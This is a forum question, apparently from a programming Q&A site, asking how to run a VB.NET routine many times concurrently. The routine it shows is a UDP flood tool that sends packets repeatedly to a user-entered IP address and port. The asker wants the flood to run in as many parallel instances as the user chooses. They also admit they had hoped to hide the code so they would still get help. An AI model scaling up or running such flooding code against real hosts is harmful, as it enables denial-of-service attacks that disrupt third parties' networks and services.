title: VB.NET - Running one sub multiple times at once
body: <p>I have one Private sub that runs in a loop. I want the sub to run multiple times at once. For example the program runs, you press start; you run the program again and press start, again and again... the same program doing the job at once. now i just want one program do to it alone. But i would like it to be user defined. exp. run program. type in a text box 10. press start. and it works as if 10 of them work open working on the same thing.</p>
  
  <p>I have seen another program made with vb.net 2010 and its what i use and do not know how to do it. so i am just wondering.</p>
  
  <pre><code>Private Sub Flood1(ByVal sender As Object, ByVal e As DoWorkEventArgs) Handles Flood.DoWork
      Dim IP As IPAddress = IPAddress.Parse(TextBox1.Text)
      Dim IPPort As New IPEndPoint(IP, Convert.ToInt32(TextBox2.Text))
      Dim PacketS As Byte() = New Byte(TextBox3.Text) {}
      Dim SocketN As Integer = Convert.ToInt32(TextBox4.Text)
      Do While Flooding = True
          For i = 0 To SocketN
              If Flooding = True Then
                  Dim _Sock(i) As Socket
                  _Sock(i) = New Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp)
                  Try
                      _Sock(i).SendTo(PacketS, IPPort)
                      Threading.Thread.Sleep(500)
                  Catch ex As Exception
                      Threading.Thread.Sleep(500)
                  End Try
              Else
                  Exit Do
              End If
          Next
      Loop
  End Sub
  </code></pre>
  
  <p>Mostly want to have this work over and over at once by the users choice... kinda hoped not to use this code else might not get helped.</p>